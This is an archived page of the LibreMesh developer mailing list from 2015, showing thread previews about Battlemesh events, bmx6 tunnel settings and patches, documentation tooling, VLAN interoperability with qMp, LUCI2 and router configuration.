aws-submissions(a)awmn.net Come and Join us!!! We are convinced that your participation in the event will contribute significantly to the agenda framework and the success of this event. This event is a great opportunity to get together and share ideas between people who have common interests on wireless community networks and wireless networking technologies. Should you have any questions, inquiries, comments along with suggestions regarding the agenda, please feel free contact us using the following mail address aws-organizers(a)awmn.net. More info will be posted in the coming days and weeks on the event site http://events.awmn.net. It is still under construction but it will soon contain all the necessary info. We are looking forward to your response and participation in this event. Yours sincerely, The organizing team of Athens Wireless Summit 2015 _______________________________________________ Battlemesh mailing list Battlemesh(a)ml.ninux.org http://ml.ninux.org/mailman/listinfo/battlemesh

9 years, 9 months

1
0
0 0

Fwd: [Interop-dev] Battlemesh travel scholarships available

by Gio

---------- Forwarded Message ---------- Subject: [Interop-dev] Battlemesh travel scholarships available Date: Monday, June 22, 2015, 03:35:15 PM From: Mitar <mitar(a)tnode.com> To: interop-dev(a)lists.funkfeuer.at Hi! (Please spread the word to those you think might be interested in the scholarship.) We are opening a call for sponsored travel to attend Battlemesh for anyone living outside Europe and would like to invite you to send your application! Battlemesh is the annual conference/gathering/hack event on community wireless networks and routing protocols will be between 3rd-9th August in Maribor, Slovenia. As Battlemesh is in the week before the Chaos Communication Camp in Germany, this is an excellent opportunity to be able to travel to both. https://wlan-si.net/en/blog/2015/06/22/battlemesh-travel-scholarships-avail… Event is free to attend and we still have organized accommodation available at low cost. Requirements ------------ Travel scholarships are open to people not living in Europe. To apply, we would like to ask you to send a short video (not longer than two minutes) to describe your situation: - Where are you from? - Why would you like to attend Battlemesh? - What impact in your local environment do you expect from your participation? - Would you be able to attend without the travel scholarship? - Will you continue to the Chaos Communication Camp? (Note that it is not a problem if you also plan to go to the CC camp.) Shoot a short video and upload it to one of the video sharing websites and send us a link. Note that if it is private, we need a direct link and/or password for it as well. Contact ------- E-mail your video to the local Battlemesh team at <battlemeshv8(a)wlan-si.net>. Deadline -------- The deadline for applications is the 3rd of July. Decisions will be made before 6th July. What is Battlemesh? ------------------- The Wireless Battle of the Mesh is an event that aims at bringing together people from across Europe and beyond to test the performance of different routing protocols for mesh networks, like Babel, B.A.T.M.A.N., BMX, IEEE 802.11s, OLSR. It is a tournament with a social character. If you are a mesh networking enthusiast, community networking activist, or have an interest in mesh networks and related technologies, come and attend. The traditional goal of the event is to set-up hands-on testbed for each available mesh routing protocol with a standard test procedure for the different mesh networks. During the event, similar hardware and software configuration will be used based on the OpenWrt and packages for each protocol implementation. The event is also a great opportunity to develop testing tools for PHY/MAC radio layers (drivers, scripts and PHY analyzers). Alongside the testing of routing protocols, a number of talks, workshops, and hackathons will be held on various mesh-related topics, all from technology to community and social aspects of mesh networks. This years Battlemesh will take place from 3rd to 9th August 2015 in Maribor, Slovenia. Mitar -- http://mitar.tnode.com/ https://twitter.com/mitar_m _______________________________________________ Interop-dev mailing list Interop-dev(a)lists.funkfeuer.at https://lists.funkfeuer.at/mailman/listinfo/interop-dev -----------------------------------------

9 years, 11 months

1
0
0 0

Fwd: Re: [qmp-dev] TunOutTimeout to zero by default

by Pau

-------- Forwarded Message -------- Subject: Re: [qmp-dev] TunOutTimeout to zero by default Date: Wed, 10 Jun 2015 12:17:32 +0200 From: Pau <pau(a)dabax.net> Reply-To: quick mesh project development mailing list <qmp-dev(a)mail.qmp.cat> To: qmp-dev(a)mail.qmp.cat But still, as far as I know, it is just a cosmetic thing. There will be a lot of network interfaces but at least the TCP connections will persist over the time. I don't like the idea of saying "in qMp the maximum persistent time is 1h", after that your connections will be reseted :P What would fix the problem is to create the tunnel On demand but make it persistent forever. Thus the nodes will only have the tunnels created with the nodes which have been contacted at least one time (until the next reboot). What do you think, can you implement this option? Thanks. On 10/06/15 11:29, Axel Neumann wrote: > I would not do that!!! > > tunOutTimeout=0 means that all possible tunnels are activated by default! > > For a large qmp cloud with each node offering its own ipv4 and ipv6 > tunnel endpoints this would be a massive amount of always activated > tunnels !!! Something very upgly when looking at those nodes interface > list. > > A tunOutTimeout != 0 means they are only activated on demand and the > list of active tunnel interfaces remains usually small. > > A compromise could be to configure a large value (eg tunOutTimeout = > 3600000) which means that tunnels are setup on demand but temporary > cut down only every hour. > > > /axel > > On 10.06.2015 10:42, Pau wrote: >> Hello. Following the thread discussion [1], where the user reports >> problems with streaming cuts, I would propose to add the option >> tunOutTimeout=0 by default in the qMp system. The advantages of >> this timeout are just cosmetics (as far as I know). So I would >> disable it for the moment to avoid persistent connection problems >> as reported by that user and some others. >> >> Find the patch at the end of this mail and feel free to apply it if >> agreed. >> >> [1] >> https://mail.dabax.net/pipermail/qmp-users/2015-June/000802.html >> >> diff --git a/packages/qmp-system/files/etc/qmp/qmp_functions.sh >> b/packages/qmp-system/files/etc/qmp/qmp_functions.sh index >> eba5887..450a2a7 100755 --- >> a/packages/qmp-system/files/etc/qmp/qmp_functions.sh +++ >> b/packages/qmp-system/files/etc/qmp/qmp_functions.sh @@ -727,6 >> +727,7 @@ qmp_configure_bmx6() { >> >> qmp_configure_prepare $conf uci set $conf.general="bmx6" + uci set >> $conf.general.tunOutTimeout=0 uci set >> $conf.bmx6_config_plugin=plugin uci set >> $conf.bmx6_config_plugin.plugin=bmx6_config.so >> >> >> >> >> >> >> _______________________________________________ qmp-dev mailing >> list qmp-dev(a)mail.qmp.cat >> https://mail.dabax.net/cgi-bin/mailman/listinfo/qmp-dev >> > > _______________________________________________ > qmp-dev mailing list > qmp-dev(a)mail.qmp.cat > https://mail.dabax.net/cgi-bin/mailman/listinfo/qmp-dev > -- ./p4u

9 years, 11 months

2
3
0 0

Fwd: Re: [qmp-dev] TunOutTimeout to zero by default

by Gio

---------- Forwarded Message ---------- Subject: Re: [qmp-dev] TunOutTimeout to zero by default Date: Wednesday, June 10, 2015, 11:29:21 AM From: Axel Neumann <neumann(a)cgws.de> To: qmp-dev(a)mail.qmp.cat I would not do that!!! tunOutTimeout=0 means that all possible tunnels are activated by default! For a large qmp cloud with each node offering its own ipv4 and ipv6 tunnel endpoints this would be a massive amount of always activated tunnels !!! Something very upgly when looking at those nodes interface list. A tunOutTimeout != 0 means they are only activated on demand and the list of active tunnel interfaces remains usually small. A compromise could be to configure a large value (eg tunOutTimeout = 3600000) which means that tunnels are setup on demand but temporary cut down only every hour. /axel On 10.06.2015 10:42, Pau wrote: > Hello. Following the thread discussion [1], where the user reports > problems with streaming cuts, I would propose to add the option > tunOutTimeout=0 by default in the qMp system. The advantages of > this timeout are just cosmetics (as far as I know). So I would > disable it for the moment to avoid persistent connection problems > as reported by that user and some others. > > Find the patch at the end of this mail and feel free to apply it if > agreed. > > [1] > https://mail.dabax.net/pipermail/qmp-users/2015-June/000802.html > > diff --git a/packages/qmp-system/files/etc/qmp/qmp_functions.sh > b/packages/qmp-system/files/etc/qmp/qmp_functions.sh index > eba5887..450a2a7 100755 --- > a/packages/qmp-system/files/etc/qmp/qmp_functions.sh +++ > b/packages/qmp-system/files/etc/qmp/qmp_functions.sh @@ -727,6 > +727,7 @@ qmp_configure_bmx6() { > > qmp_configure_prepare $conf uci set $conf.general="bmx6" + uci set > $conf.general.tunOutTimeout=0 uci set > $conf.bmx6_config_plugin=plugin uci set > $conf.bmx6_config_plugin.plugin=bmx6_config.so > > > > > > > _______________________________________________ qmp-dev mailing > list qmp-dev(a)mail.qmp.cat > https://mail.dabax.net/cgi-bin/mailman/listinfo/qmp-dev > _______________________________________________ qmp-dev mailing list qmp-dev(a)mail.qmp.cat https://mail.dabax.net/cgi-bin/mailman/listinfo/qmp-dev -----------------------------------------

9 years, 11 months

1
0
0 0

Fwd: [lime-users] Documentazione

by Ilario Gelmetti

Hey devs! On LiMe-Users mailing list there is a discussion on where to put the documentation of Libre-Mesh. It's long time that the lack of documentation _avoids_ people to try/join/enjoy the project. Returning to the email that I'm forwarding you, I will write a synopsis so you don't have to learn Italian for getting the concept: Federico: "documentation in ResTructuredText or Markdown on Github" David agrees Ilario: "too late, bad idea to move the documentation, wiki is ok" David: "wiki of Redmine = shit, if you want a wiki use a proper one" So? -------- Forwarded Message -------- Subject: Re: [lime-users] [Bologna] Documentazione (Era: Fwd: LiMe broken.) Date: Mon, 1 Jun 2015 01:09:50 +0200 From: David Costa <david.costa(a)ieee.org> Reply-To: libre-mesh users <users(a)lists.libre-mesh.org> To: bologna(a)ml.ninux.org CC: libre-mesh users <users(a)lists.libre-mesh.org> On 05/31/2015 07:59 PM, Nemesis wrote: > Se posso permettermi di dare un consiglio, penso che la > documentazione in formato ResTructuredText o Markdown conservata in > un repository github sia la cosa migliore. Concordo anch'io sull'avere la documentazione in un repo. Se non è troppo grande può stare tranquillamente nello stesso repo del codice, così si possono versionare insieme e avere la documentazione di una release nello stesso commit di quella release. On Sun, 31 May 2015 20:33:02 +0200 Ilario Gelmetti <iochesonome(a)gmail.com> wrote: > Sarebbe figo, però ormai abbiamo iniziato a scriverla sui wiki e non > mi sembra affatto una buona idea spostarla/copiarla. > Eppoi il sito di libre-mesh ha anche la funzione wiki, mi sembra > naturale usarla per metterci la documentazione di libre-mesh... Il sito di libre-mesh è una istanza di Redmine e il wiki è una funzionalità davvero marginale di quel programma... le categorie non ci sono: si possono solo fare relazioni padre-figlio tra le pagine (e si fa con il tasto "rename"), e le categorie sono fondamentali nella documentazione per distinguere le pagine importanti tipo "routing in libre-mesh" da pagine molto specifiche o di reference ("how-to: compilare libre-mesh su PPC"). Se vuoi portarti la documentazione off-line banalmente non puoi, a meno che non salvi tutte le pagine una per una perché non esiste nessun tool decente (e spero che qualcuno smentisca) per esportare il wiki intero o una categoria... quindi una volta che scrivi nel wiki di redmine non puoi migrare facilmente a niente di diverso, neanche un altro sito che usa redmine. Insomma, è per dire che il wiki di redmine non è un wiki normale, è una roba che serve solo per sopperire a esigenze di sviluppo o per dare link a risorse che non fanno parte della documentazione vera; per fare un esempio un progetto grosso che usa redmine dall'inizio alla fine è gnuradio [1], loro hanno nel wiki un po' di link a vari tutorial, dati d'esempio e pagine organizzative, ma il manuale vero è fatto con Doxygen e Sphinx (perché in realtà il bello di GNURadio sono le sue API). Capisco che avere un wiki permetta a più persone di scrivere qualcosa perché viene meno la sensazione di responsabilità che si avrebbe committando su un repo e perché è effettivamente più facile da usare, però che sia un wiki vero almeno, tipo dokuwiki o mediawiki :) Metto in CC lime-users perché credo che a questo punto, con diverse reti che vogliono iniziare _effettivamente_ ad usarlo converrebbe avere delle linee guida per la documentazione decise insieme agli sviluppatori. [1] http://gnuradio.org/redmine/projects/gnuradio/wik

9 years, 11 months

2
1
0 0

Easylist (uBlock, adBlock) breaks luci graphs with wlanX_adhoc

by Gui Iribarren

Hello fellows, i spent quite a while banging my head trying to understand why a luci graph was not working, the XHR.poll() was failing on a given, specific URL. turns out, it failed when the url ended like "whatever_adhoc" luci XHR appends a '?_=0.15089513623292194', resulting in a url like http://10.5.0.6/cgi-bin/luci/.../wlan0_adhoc?_=0.15089513623292194 after a quick chat with jow, i found out it was uBlock getting in the way; chromium with adBlockPlus gave the same problem. i have both with defaults settings, namely, just use Easylist see it for yourselves: https://easylist-downloads.adblockplus.org/easylist.txt includes the expression _adhoc? the "?" is not a regexp, it's a literal "?", but as i said XHR.poll appends a '?' to the end of the url, completing the blocked expression so this breaks, for example, luci Realtime Traffic graphs for the interface "wlan0_adhoc", amongst others. My suggestion for this bizarre coincidence of events, is simply to change our lime separator to "-" instead of "_" which, by the way, is more "in line" with upstream automatic names for several wifi-ifaces are like wlan0, wlan0-1, wlan0-2 so it's better if we use wlan0-adhoc, wlan0-ap, etc and for the vlanSeparator (which is currently '-') just use '_', so complete interface name will be wlan0-adhoc_167 and such (exactly the opposite of the current name, but at least to me it makes more sense, and as a bonus this will not end up in a blocked url) cheers!

9 years, 12 months

1
0
0 0

https on dev.libre-mesh.org

by David

I noticed that the subdomain dev.libre-mesh.org runs with a self-signed certificate, which is annoying because casual people browsing (and security paranoid) won't accept to add an exception in order to read more and will leave... A free browser-accepted certificate can be obtained from StartSSL [1] (for that specific domain, wildcards and extended verification certs are not for free of course, but we there is no need for them). [1] https://www.startssl.com/

10 years

3
3
0 0

VLANs protocol in LibreMesh

by Roger Pueyo Centelles | Routek.net

Hi, This is Roger, from Barcelona, one of the maintainers of qMp [1]. I would like to ask you a couple of questions regarding VLANs in LiMe and its compatibility with qMp. In qMp we use 802.1q to create VLANs for BMX6 (e.g. eth0.12). This is quite a mess for devices with a switch, because they typically block traffic created on top of the switch's own VLANs (e.g. eth0.1.12). Therefore, we are going to switch to 802.1ad in wired devices, the same as in LiMe, from the next major release on. This will break backwards compatibility with previous versions of qMp, but I believe it's a good decision. I wonder how LiMe manages VLANs in wireless devices. Do you also use 802.1ad there, or 802.1q? In order not to completely break backwards compatibility, our idea is to keep using 802.1q on wireless devices. What do you think it would be the best approach to allow LiMe/qMp interoperability? Kind regards, Roger [1] http://qmp.cat

10 years

2
1
0 0

5GHz channel selection Was: [OpenWrt-Devel] [patch] mac80211: Force Atheros drivers to respect the user's regdomain settings by default

by Gio

I have experienced problem changing 5GHz channel on our routers, do you think it may be related to this ? If so shoulb we enable by default that option at least on lime-build or lime- full ? ---------- Forwarded Message ---------- Subject: Re: [OpenWrt-Devel] [patch] mac80211: Force Atheros drivers to respect the user's regdomain settings by default Date: Friday, April 03, 2015, 12:53:00 PM From: bkil <bk.il.hU+ibLa_qUzy(a)gmail.com> To: Jiri Pirko <jiri(a)resnulli.us> CC: openwrt-devel <openwrt-devel(a)lists.openwrt.org> Unfortunately, your patch will never be merged because most developers are from the USA: https://dev.openwrt.org/ticket/6923 https://dev.openwrt.org/ticket/7777 https://dev.openwrt.org/ticket/9678 https://dev.openwrt.org/ticket/12991 https://dev.openwrt.org/ticket/16818 https://dev.openwrt.org/ticket/16862 ... There's no use in resending or even debating it. On Fri, Apr 3, 2015 at 12:09 PM, Jiri Pirko <jiri(a)resnulli.us> wrote: > User's regdomain should know the correct setting. So change default for > ath drivers to respect those. > > Signed-off-by: Jiri Pirko <jiri(a)resnulli.us> > --- > package/kernel/mac80211/Makefile | 1 + > 1 file changed, 1 insertion(+) > > diff --git a/package/kernel/mac80211/Makefile b/package/kernel/mac80211/Makefile > index 11c8bcf..ab79330 100644 > --- a/package/kernel/mac80211/Makefile > +++ b/package/kernel/mac80211/Makefile > @@ -503,6 +503,7 @@ define KernelPackage/ath/config > if PACKAGE_kmod-ath > config ATH_USER_REGD > bool "Force Atheros drivers to respect the user's regdomain settings" > + default y > help > Atheros' idea of regulatory handling is that the EEPROM of the card defines > the regulatory limits and the user is only allowed to restrict the settings > -- > 1.9.3 > _______________________________________________ > openwrt-devel mailing list > openwrt-devel(a)lists.openwrt.org > https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel _______________________________________________ openwrt-devel mailing list openwrt-devel(a)lists.openwrt.org https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel -----------------------------------------

10 years

2
1
0 0

Merge merge_develop branch

by Gio

Hi! Although the branch merge_develop doesn't follow our naming convention seems no one has reported specific problems with that branch. Is there any undergoing test of that branch? Is it already tested? If so we should proceed to rename it to something like feature/feature_name or hotfix/hotfix_name and then merge it into develop anyone willing to do this job ? Cheers!

10 years

3
2
0 0

Fwd: Re: [OpenWrt-Devel] OpenWrt release name

by Gio

Seems LiMe syrup is an affocial componet of next openwrt release :p ---------- Forwarded Message ---------- Subject: Re: [OpenWrt-Devel] OpenWrt release name Date: Monday, April 06, 2015, 09:35:52 AM From: John Crispin <blogic(a)openwrt.org> To: openwrt-devel(a)lists.openwrt.org i think we have a winner with 96 vs 50 votes. > == Dirty Diamond == > 2 cl Rum > 2 cl Vodka > 2 cl Tequila Silver > 2 cl Campari > 2 cl Curaçao Blue > 2 cl Lime syrup > 2 1/2 cl Orange juice > Coca Cola _______________________________________________ openwrt-devel mailing list openwrt-devel(a)lists.openwrt.org https://lists.openwrt.org/cgi-bin/mailman/listinfo/openwrt-devel -----------------------------------------

10 years, 1 month

1
0
0 0

Fwd: [Battlemesh] V8 Current Endorsements

by Gioacchino Mazzurco

We should endorse too! What do you think? ---------- Forwarded Message ---------- Subject: [Battlemesh] V8 Current Endorsements Date: Sunday, February 15, 2015, 05:38:25 PM From: Nemesis <nemesis(a)ninux.org> To: Battle of the Mesh Mailing List <battlemesh(a)ml.ninux.org> This is the current endorsers list: * Wlan Slovenia (host) * Batman * Openwrt * Freifunk * Ninux * Wireless Leiden * Wirelesspt.net http://battlemesh.org/BattleMeshV8#Endorsements So far we already have all the logos of these from last year. Somebody else wants to come on board right now and save us some time needed to reach? Federico -----------------------------------------

10 years, 3 months

1
0
0 0

libremesh documenttion effort : start

by 3zl Trizonelabs

As to sort raw intormation about the lime systems, we did start a dokuwiki at http://goo.gl/l23aks If things go well this might be transfered to any official libremesh docu site. We would appreciate any form of ideas,help or cooperation. Thank you 3zl(Reinhard)

10 years, 3 months

2
2
0 0

Re: [lime-dev] Resumen de Dev, Vol 22, Envío 2

by 3zl Trizonelabs

>Did you already read this ? >https://github.com/libre-mesh/lime-packages/blob/develop/packages/lime-syst…>>/etc/config/lime yes, we took this as a start for the analysis >btw lime-default options are readed in case of something missing from lime Questions : 1.is there any "override" mechanism to stop lime-config touching original config files or params within ? 2. overall view of the design "/usr/bin/lime-config" ( lua script with no "lua" extension ?) 3. list of keywords used in "/usr/bin/lime-config" and respective scripts / files 4. there is some "mingle" between lime and lime-defaults - whats the meaning of "missing" compared to what. Next halt : Parsing of lime / lime-defauls and the respective list of keywords with their actions have to be carved out of the source btw : we have been really surprised by the numbers of interfaces been generated and digging deep to find out to which extent they are necessary and to what use No organised site to store the documentation to ? regards 3zl(Reinhard)

10 years, 3 months

3
2
0 0

LUCI2 and LiMe

by Pau

Yesterday I tested the current implementation of the web interface LUCI2 [1] (which will replace LUCI in the future). The basic administration menu (Network, WiFi, System, Status, etc.) is already implemented and works fine. LUCI2 is a 100% rewritten web interface and it does not use lua anymore. It is just a small uhttpd plug-in which communicates Javascript with ubus via standard JSON. So it is quite more flexible and less resources aggressive for the router (since the JS is executed in the client side). I would recommend to start thinking in LUCI2 instead of LUCI, so we should base the future LiMe web interface in LUCI2. Would be nice to have some JavaScript expert into the team :) Cheers. [1] http://wiki.openwrt.org/doc/techref/luci2 -- ./p4u

10 years, 3 months

4
4
0 0

lime doku :mechanism of configuration

by 3zl Trizonelabs

/usr/bin/lime-config resp. /usr/lib/lua/lime: as far we do understand these programs affect uci-config files in /etc/config/ related to data in /etc/config/lime AND/OR /etc/config/lime-defaults list of keywords and their lime-configuration-action ( complete list ?? ) config lime <lime config class> system option hostname network option primary_interface <phys-interface> list protocols lan -> anygw -> batman-adv bmx resolvers <DNS ip ipv4> <DNS-ip ipv6> wifi option channel_2ghz channel_5ghz ap_ssid adhoc_bssid adhoc_mcast_rate mesh_mesh_fwding mesh_mesh_id list modes ap adhoc override / prevail preset config-values manual ????? autogenerable ??? it would be very helpful for us and the project if anyone can shed a profound light on this. To trace the sourcecode for informations is too time-consuming, so we wonder if there are any more documentation hidden somewhere. We do believe, that a project like lime cannot survive without proper system and user dokumentations and we are willing to start this. Any kind of help is welcome regards 3zl(Reinhard)

10 years, 3 months

2
1
0 0

Re: [lime-dev] [lime-packages] luci.ip.Hex() does not exist anymore (#7)

by Pau

It is not trunk neither stable, it is just "LUCI", the repository "http://git.openwrt.org/project/luci.git". We are using it in all LiMe Branches. On 29/01/15 14:32, Gioacchino wrote: > On Thursday, January 29, 2015 05:13:40 AM Pau wrote: >> Assigned #7 to @G10h4ck. >> >> --- >> Reply to this email directly or view it on GitHub: >> https://github.com/libre-mesh/lime-packages/issues/7#event-226805821 > > Is this bug present in last stable or just in trunk? > If it is just in trunk i would wait that trunk stabilize a little before > changing stuff in libre-mesh to fix stuff like this > > P.S. please keep dev(a)lists.libre-mesh.org in CC > > --- > Reply to this email directly or view it on GitHub: > https://github.com/libre-mesh/lime-packages/issues/7#issuecomment-72023720 > -- ./p4u

10 years, 3 months

2
1
0 0

Re: [lime-dev] [lime-packages] luci.ip.Hex() does not exist anymore (#7)

by Gioacchino Mazzurco

On Thursday, January 29, 2015 05:13:40 AM Pau wrote: > Assigned #7 to @G10h4ck. > > --- > Reply to this email directly or view it on GitHub: > https://github.com/libre-mesh/lime-packages/issues/7#event-226805821 Is this bug present in last stable or just in trunk? If it is just in trunk i would wait that trunk stabilize a little before changing stuff in libre-mesh to fix stuff like this P.S. please keep dev(a)lists.libre-mesh.org in CC

10 years, 3 months

1
0
0 0

bird-openwrt

by Gioacchino Mazzurco

Hi! I was looking at the bird integration developed during GSoC 2014, I would like to integrate bird inside lime-proto-bgp. Is there is some kind of mechanism that avoid routing loop if in the same bmx6 cloud there is more then one bmx-bird router ? Thanks! P.S. GSoC2014 tag should be added to the final post in the freifunk blog acutally it have "GSoC 2014" as tag that make search a little difficult ;)

10 years, 3 months

1
1
0 0

bmx6 auto-gw module for watchping

by Pau

I wrote and commited a couple of packets in the new branch feature/bmx6-auto-gw-mode bmx6-auto-gw-mode: watchping module for bmx6, it automatically announces an Internet access in the network if detected. I added it as dependency packet for lime-full lime-eb-ip-tables: a meta-packet which includes the ebtables/iptables required modules. If not enabled there is no NAT nor Masquerade in last openwrt trunk Comments or complains? https://github.com/libre-mesh/lime-packages/tree/feature/bmx6-auto-gw-mode -- ./p4u

10 years, 3 months

4
14
0 0

Librenet6 subnet request

by Gioacchino Mazzurco

Hi! I have recently added a new topo server here in Aurea Social, the configuration should be clean now, can you reserve the subnets 2a00:1508:1:f017::/64 2a00:1508:1:f000::aea/128 to it ? At moment peering with other librenet6 islands work fine but i don't get reponse if i try to ping6 googlez for example Thanks!

10 years, 3 months

1
0
0 0

Re: [lime-dev] [lime-packages] BMX6 do not configure properly ethernet devices (#6)

by Gioacchino Mazzurco

On Friday, January 16, 2015 01:00:55 AM Pau wrote: > While the name of the VLAN devices is now eth0-13 in the network It shouldn't be like that > configuration, bmx6 still uses the old format eth0_13. It seems to affect > only ethernet interfaces. This is the correct format as network.protoVlanSeparator="_" I am still trying to reproduce the bug can you send me a tarball of /etc/config what router model are you using ?

10 years, 4 months

1
1
0 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

lime-dev